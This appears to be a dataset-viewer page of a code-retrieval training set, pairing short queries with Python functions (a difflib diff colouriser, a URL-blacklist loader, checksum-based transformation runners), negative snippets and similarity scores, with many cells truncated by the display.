"def check_compare_decrease(out_fields):\n change = out_fields[CHANGE_FLD]\n expected_change = -25.00\n check_compare(change, expected_change)\n check_float_value(cha... | [
"0.59433705",
"0.58866566",
"0.5741213",
"0.57070243",
"0.56107557",
"0.5602087",
"0.55542886",
"0.55195427",
"0.5489824",
"0.53829694",
"0.53829694",
"0.5382785",
"0.53190625",
"0.53040767",
"0.5303886",
"0.5302495",
"0.52817154",
"0.5278376",
"0.52559036",
"0.5226828",
"0.5... | 0.7136184 | 0 |
Unify operations between two compared strings seqm is a difflib. SequenceMatcher instance whose a & b are strings | def show_diff(text, n_text):
seqm = difflib.SequenceMatcher(None, text, n_text)
output= []
for opcode, a0, a1, b0, b1 in seqm.get_opcodes():
if opcode == 'equal':
output.append(seqm.a[a0:a1])
elif opcode == 'insert':
output.append(colored(seqm.b[b0:b1],'red'))
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def makediff(s1, s2):\n import difflib\n differ = difflib.SequenceMatcher()\n differ.set_seqs(s1, s2)\n #debug = False\n s1new = [ ]\n s2new = [ ]\n previousOp = None\n for op, i1, i2, j1, j2 in differ.get_opcodes():\n #if debug: print \"top\"\n #if debug: print op, i1, i2, j1... | [
"0.7173412",
"0.6422844",
"0.60554993",
"0.6048219",
"0.6048219",
"0.6022853",
"0.5894127",
"0.5861843",
"0.5823711",
"0.581837",
"0.5812351",
"0.58081526",
"0.57986295",
"0.5772496",
"0.57496095",
"0.57384884",
"0.57264704",
"0.5713561",
"0.57001203",
"0.5696666",
"0.5676719... | 0.0 | -1 |
takes list of blacklist urls | def load_blacklists(self, blacklist_urls: List[str]) -> Set[str]:
items: Set[str] = set()
sets = []
for url in blacklist_urls:
fname = f'/tmp/{hashlib.md5(url.encode()).hexdigest()}-blacklist'
# Download if necessary
if not os.path.exists(fname):
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def handle_weblists(bot, ievent):\n ievent.reply(\"whitelist: %s blacklist: %s\" % (cfg.get('whitelist'), \\\ncfg.get('blacklist')))",
"def find_target_urls(url_list):\n candidate_urls = []\n \n #iterate through urls\n for url in get_urls(get_clean_text(message_list)):\n #skip any urls from... | [
"0.67311",
"0.67156696",
"0.66505307",
"0.6576072",
"0.6518747",
"0.6418503",
"0.6418085",
"0.63344425",
"0.6133395",
"0.60442084",
"0.5939",
"0.59096384",
"0.5879145",
"0.5876669",
"0.5847612",
"0.5847537",
"0.5801166",
"0.5793875",
"0.57607865",
"0.5706794",
"0.56880635",
... | 0.6910591 | 0 |
Runs a transformation that is specified as a dict of checksums, such as returned by highlevel.Transformer.get_transformation_dict | def run_transformation_dict(transformation_dict, result_callback=None):
# TODO: add type annotation and all kinds of validation...
from .. import database_sink
transformation_buffer = tf_get_buffer(transformation_dict)
transformation = calculate_checksum(transformation_buffer)
cache_buffer(transfor... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"async def run_transformation_dict_async(transformation_dict):\n # TODO: add type annotation and all kinds of validation...\n transformation_buffer = tf_get_buffer(transformation_dict)\n transformation = calculate_checksum(transformation_buffer)\n cache_buffer(transformation, transformation_buffer)\n ... | [
"0.6176635",
"0.58770233",
"0.5642491",
"0.5400571",
"0.53724617",
"0.53604096",
"0.53584576",
"0.5241145",
"0.5201133",
"0.5098775",
"0.5077724",
"0.50566465",
"0.5045827",
"0.5000128",
"0.49946854",
"0.49663246",
"0.49579343",
"0.4930994",
"0.48909107",
"0.48407468",
"0.483... | 0.65600985 | 0 |
Runs a transformation that is specified as a dict of checksums, such as returned by highlevel.Transformer.get_transformation_dict | async def run_transformation_dict_async(transformation_dict):
# TODO: add type annotation and all kinds of validation...
transformation_buffer = tf_get_buffer(transformation_dict)
transformation = calculate_checksum(transformation_buffer)
cache_buffer(transformation, transformation_buffer)
increfed ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def run_transformation_dict(transformation_dict, result_callback=None):\n # TODO: add type annotation and all kinds of validation...\n from .. import database_sink\n\n transformation_buffer = tf_get_buffer(transformation_dict)\n transformation = calculate_checksum(transformation_buffer)\n cache_buff... | [
"0.65600985",
"0.58770233",
"0.5642491",
"0.5400571",
"0.53724617",
"0.53604096",
"0.53584576",
"0.5241145",
"0.5201133",
"0.5098775",
"0.5077724",
"0.50566465",
"0.5045827",
"0.5000128",
"0.49946854",
"0.49663246",
"0.49579343",
"0.4930994",
"0.48909107",
"0.48407468",
"0.48... | 0.6176635 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.